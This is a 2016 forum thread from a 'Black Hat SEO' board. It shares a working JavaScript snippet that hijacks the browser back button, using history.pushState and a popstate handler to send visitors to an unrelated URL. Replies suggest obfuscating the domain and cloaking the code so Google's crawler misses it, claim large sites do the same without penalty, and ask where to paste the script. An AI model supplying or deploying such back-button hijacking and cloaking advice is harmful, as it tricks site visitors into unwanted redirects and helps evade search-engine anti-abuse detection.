1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Back button hijack.

Discussion in 'Black Hat SEO' started by bjobjo, Jul 29, 2016.

  1. bjobjo

    bjobjo Junior Member

    Joined:
    Jul 6, 2012
    Messages:
    101
    Likes Received:
    19
    Hi - this code makes the back button load dummyurl.co.uk.

    Obviously this is naughty. Will it cause a Google slap, will it be detected by something Google does, am I asking for trouble?

    Code:
    <script>
    (function(window, location) {
    history.replaceState(null, document.title, location.pathname+"#!/history");
    history.pushState(null, document.title, location.pathname);
    
    window.addEventListener("popstate", function() {
      if(location.hash === "#!/history") {
        history.replaceState(null, document.title, location.pathname);
        setTimeout(function(){
          location.replace("http://www.dummyurl.co.uk");
        },0);
      }
    }, false);
    }(window, location));
    </script>
    
    Code is all from http://stackoverflow.com/questions/30990027/back-button-redirect-script ... by the way
     
  2. LinkSeller

    LinkSeller Newbie

    Joined:
    Jul 29, 2016
    Messages:
    4
    Likes Received:
    1
    Gender:
    Male
    Do you know that google crawler can emulate all button clicks? :)
    Use encription for domain and cloak this code...
     
  3. bjobjo

    bjobjo Junior Member

    Joined:
    Jul 6, 2012
    Messages:
    101
    Likes Received:
    19
    Huh?
     
  4. mirrorer

    mirrorer Jr. VIP Jr. VIP

    Joined:
    Jan 30, 2009
    Messages:
    1,311
    Likes Received:
    1,134
    Big websites do this.No seo penalty so far
    My profile pic will give you a clue about which websites I am talking about :cool:
     
  5. fate

    fate Newbie

    Joined:
    Sep 6, 2016
    Messages:
    12
    Likes Received:
    0
    Gender:
    Male
    i feel like an idiot but if i have an index.html, where do i insert this script?